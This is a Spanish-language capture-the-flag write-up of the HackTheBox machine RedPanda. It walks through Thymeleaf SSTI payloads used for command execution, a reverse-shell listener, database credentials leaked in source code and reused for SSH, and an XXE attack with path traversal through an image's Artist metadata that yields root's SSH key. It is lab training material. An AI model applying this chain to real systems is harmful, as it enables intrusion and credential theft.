En RedPanda descubrimos una vulnerabilidad SSTI en Java, en el sitio web, lo que nos permitió ejecutar comandos en la máquina. Las credenciales de la conexión de la base de datos nos permitieron acceder por SSH. Finalmente explotamos una vulnerabilidad de tipo XXE para realizar lectura de archivos y escalar privilegios.
# Nmap 7.92 scan initiated Sat Jul 16 19:14:23 2022 as: nmap -p22,8080 -sV -sC -oN nmap_scan 10.10.11.170Nmap scan report for 10.10.11.170 (10.10.11.170)Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)|256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)8080/tcp open http-proxy
|_http-title: Red Panda Search | Made with Spring Boot
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Sat, 16 Jul 2022 23:14:30 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en"dir="ltr">
| <head>
| <meta charset="utf-8">
| <meta author="wooden_k">
| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
| <link rel="stylesheet"href="css/panda.css"type="text/css">
| <link rel="stylesheet"href="css/main.css"type="text/css">
| <title>Red Panda Search | Made with Spring Boot</title>
| </head>
| <body>
| <div class='pande'>
| <div class='ear left'></div>
| <div class='ear right'></div>
| <div class='whiskers left'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='whiskers right'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='face'>
| <div class='eye
| HTTPOptions:
| HTTP/1.1 200| Allow: GET,HEAD,OPTIONS
| Content-Length: 0| Date: Sat, 16 Jul 2022 23:14:30 GMT
| Connection: close
[.. snip ..]Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 16 19:14:45 2022 -- 1 IP address (1 host up) scanned in 22.47 seconds
Web Site
El sitio web no presenta información en los headers, sin embargo nmap muestra en el titulo “Made with Spring Boot”, por lo que quizas esté utilizando el Framework en Java Spring.
Al considerar la tecnologia como Spring intentamos identificar alguna vulnerabilidad SSTI con los payloads que se mencionan en hacktricks utilizando Intruder de BurpSuite. Observamos que se muestra el resultado de #{7*7}.
Además descubrimos que el caracter $ no es aceptado. Sin embargo la mayoria de payloads (1, 2) utilizan el simbolo $.
Un post de Thymeleaf (un motor de plantillas en java) presenta distintos tipos de expresiones. Observando la documentacion nos topamos con distintos ejemplos.
1
2
3
4
5
${...}: Variable expressions – in practice, these are OGNL or Spring EL expressions.
*{...}: Selection expressions – similar to variable expressions but used for specific purposes.
#{...}: Message (i18n) expressions – used for internationalization.@{...}: Link (URL) expressions – used to set correct URLs/paths in the application.
~{...}: Fragment expressions – they let you reuse parts of templates.
Nuevamente, utilizando estas expresiones para intentar realizar una operación matematica. Eliminando el caracter $ que, como sabemos no es aceptado.
1
2
3
4
*{7*7}#{7*7}@{7*7}~{7*7}
Tanto el caracter * y @ son aceptados y muestran el resultado de la operación. Además encontramos que el caracter ~ no es aceptado.
Utilizando el caracter * logramos obtener las variables de la máquina.
1
*{T(java.lang.System).getenv()}
Utilizando un payload de java para ejecutar comandos observamos el resultado en el sitio.
Enumerando los directorios encontramos el codigo fuente de LogParser en /opt, sin embargo no encontramos algun proceso que este relacionado a esta aplicación.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$> ls -lah /opt/credit-score/LogParser/final/src/main/java/com/logparser
total 12K
drwxrwxr-x 2 root root 4.0K Jun 20 16:29 .
drwxrwxr-x 3 root root 4.0K Jun 14 14:35 ..
-rw-rw-r-- 1 root root 3.7K Jun 20 15:43 App.java
$> cat /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
package com.logparser;import java.io.BufferedWriter;[.. snip ..]public class App {[.. PESTAÑA 2 ..]}$>
Descubrimos que los caracteres * y _ no son aceptados por nuestro payload por alguna razon. Por lo que ejecutamos shells, ejecutando netcat y la shell inversa en la máquina.
Con ello obtuvimos una shell como woodenk y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
π ~/htb/redpanda ❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.207] from 10.10.11.170 [10.10.11.170]57860/bin/sh: 0: can't access tty; job control turned off
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'woodenk@redpanda:/tmp/hsperfdata_woodenk$ whoami;id
woodenk
uid=1000(woodenk)gid=1001(logs)groups=1001(logs),1000(woodenk)woodenk@redpanda:/tmp/hsperfdata_woodenk$ cdwoodenk@redpanda:~$ ls
user.txt
woodenk@redpanda:~$ cat user.txt
b2d88c9c27ab73dc1aa6c465e779919a
woodenk@redpanda:~$
Shell SSH
En el directorio /opt/panda_search encontramos el codigo fuente (Pestaña 2) de la aplicación web, en esta observamos las credenciales de la base de datos MySQL.
<h/src/main/java/com/panda_search/htb/panda_search$ ls
MainController.java PandaSearchApplication.java RequestInterceptor.java
<h/src/main/java/com/panda_search/htb/panda_search$
<h/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java
package com.panda_search.htb.panda_search;import java.util.ArrayList;import java.io.IOException;import java.sql.*;import java.util.List;import java.util.ArrayList;import java.io.File;import java.io.InputStream;import java.io.FileInputStream;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.servlet.ModelAndView;import org.springframework.http.MediaType;import org.apache.commons.io.IOUtils;import org.jdom2.JDOMException;import org.jdom2.input.SAXBuilder;import org.jdom2.output.Format;import org.jdom2.output.XMLOutputter;import org.jdom2.*;@Controller
public class MainController { @GetMapping("/stats") public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{ SAXBuilder saxBuilder= new SAXBuilder();if(author== null)author="N/A";author= author.strip(); System.out.println('"' + author + '"');if(author.equals("woodenk")|| author.equals("damian")){ String path="/credits/" + author + "_creds.xml"; File fd= new File(path); Document doc= saxBuilder.build(fd); Element rootElement= doc.getRootElement(); String totalviews= rootElement.getChildText("totalviews"); List<Element> images= rootElement.getChildren("image");for(Element image: images) System.out.println(image.getChildText("uri")); model.addAttribute("noAuthor", false); model.addAttribute("author", author); model.addAttribute("totalviews", totalviews); model.addAttribute("images", images);return new ModelAndView("stats.html");}else{ model.addAttribute("noAuthor", true);return new ModelAndView("stats.html");}} @GetMapping(value="/export.xml", produces= MediaType.APPLICATION_OCTET_STREAM_VALUE) public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException { System.out.println("Exporting xml of: " + author);if(author.equals("woodenk")|| author.equals("damian")){ InputStream in= new FileInputStream("/credits/" + author + "_creds.xml"); System.out.println(in);return IOUtils.toByteArray(in);}else{return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");}} @PostMapping("/search") public ModelAndView search(@RequestParam("name") String name, Model model){if(name.isEmpty()){name="Greg";} String query= filter(name); ArrayList pandas= searchPanda(query); System.out.println("\n\""+query+"\"\n"); model.addAttribute("query", query); model.addAttribute("pandas", pandas); model.addAttribute("n", pandas.size());return new ModelAndView("search.html");} public String filter(String arg){ String[]no_no_words={"%", "_","$", "~", };for(String word : no_no_words){if(arg.contains(word)){return"Error occured: banned characters";}}return arg;} public ArrayList searchPanda(String query){ Connection conn= null; PreparedStatement stmt= null; ArrayList<ArrayList> pandas= new ArrayList(); try { Class.forName("com.mysql.cj.jdbc.Driver");conn= DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");stmt= conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?"); stmt.setString(1, "%" + query + "%"); ResultSet rs= stmt.executeQuery();while(rs.next()){ ArrayList<String> panda= new ArrayList<String>(); panda.add(rs.getString("name")); panda.add(rs.getString("bio")); panda.add(rs.getString("imgloc")); panda.add(rs.getString("author")); pandas.add(panda);}}catch(Exception e){ System.out.println(e);}return pandas;}}<h/src/main/java/com/panda_search/htb/panda_search$
Utilizando estas credenciales logramos acceder por SSH. Algo muy interesante de mencionar es que, en SSH no tenemos asignado el grupo logs, a diferencia de nuestra shell inversa.
π ~/htb/redpanda ❯ ssh woodenk@10.10.11.170 # RedPandazRulewoodenk@10.10.11.170's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 18 Jul 2022 05:28:32 AM UTC
System load: 0.08 Processes: 222 Usage of /: 80.5% of 4.30GB Users logged in: 0 Memory usage: 41% IPv4 address for eth0: 10.10.11.170
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Jul 5 05:51:25 2022 from 10.10.14.23
woodenk@redpanda:~$ whoami;id
woodenk
uid=1000(woodenk)gid=1000(woodenk)groups=1000(woodenk)woodenk@redpanda:~$
Si observamos los procesos, root ejecuta la aplicación web asignando el grupo logs a este proceso, por tal razon solo en la shell inversa se asigna este grupo.
El programa inicia obteniendo información del archivo redpanda.log (parseLog()), archivo que contiene las solicitudes hechas a la aplicación web, unicamente obtiene el path del archivo. Si el archivo obtenido es una imagen (isImage()), obtiene el tag “Artist” de los metadatos de la imagen (getArtist()), utiliza este ultimo para crear un path y nombre de un archivo xml (/credits/<artist>_creds.xml). Finalmente utiliza la funcion addViewTo() con el path del archivo xml y el path de la imagen.
addViewTo() obtiene el total de vistas información que se muestra en el Export Table del sitio, utiliza SAXBuilder una libreria que permite manejar archivos XML, OWASP menciona como prevenir XXE, sin embargo en el codigo no es aplicado, por lo que al realizar la lectura del archivo se podría explotar esta vulnerabilidad y el resultado se vería reflejado en el mismo archivo XML (xmlOutput.output()).
Para explotar esta vulnerabilidad primero, debemos de modificar el tag Artist de los metadatos de una imagen, ya que es donde se obtiene el nombre del artista para el archivo xml a crear ("/credits/" + artist + "_creds.xml"), aunque en el directorio donde se crean los archivos xml no es posible modificar o crear alguno.
Es por ello que utilizamos ../ para modificar el path del archivo. En este caso crearía el archivo xml /home/woodenk/file_creds.xml.
1
2
3
4
5
6
π ~/htb/redpanda/www ❯ exiftool -Artist="../home/woodenk/file" greg.jpg
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - greg.jpg
1 image files updated
π ~/htb/redpanda/www ❯ exiftool greg.jpg|grep Artist
Artist : ../home/woodenk/file
π ~/htb/redpanda/www ❯
Finalmente se movemos esta imagen al directorio de woodenk, /home/woodenk/greg.jpg.
Archivo Log
Modificamos el archivo redpanda.log, esto lo hacemos mediante la reverse shell del sitio web ya que para modificar este archivo necesitamos pertenecer al grupo logs o ser usuario root. Sin embargo el path para las imagenes ya está definido y la mayoria de estas tienen un path /img/<nombre>.jpg por lo que el path completo sería /opt/panda_search/src/main/resources/static/img/<nombr>.jpg y el unico con acceso a este directorio es el usuario root.
De la misma forma que en la imagen “subimos” varios directorios con ../ hasta la raiz y escribimos el path completo de nuestra imagen, agregamos el path de la imagen que modificamos anteriormente.
π ~/htb/redpanda/www ❯ chmod 600 root_id_rsa
π ~/htb/redpanda/www ❯ ssh -i root_id_rsa root@10.10.11.170
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 18 Jul 2022 10:23:09 PM UTC
System load: 0.14 Processes: 242 Usage of /: 83.0% of 4.30GB Users logged in: 1 Memory usage: 75% IPv4 address for eth0: 10.10.11.170
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Jun 30 13:17:41 2022root@redpanda:~# whoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/root
root@redpanda:~# ls
root.txt run_credits.sh
root@redpanda:~# cat root.txt
3c6315be0480d9e8dbb52722aaea3d0a
root@redpanda:~#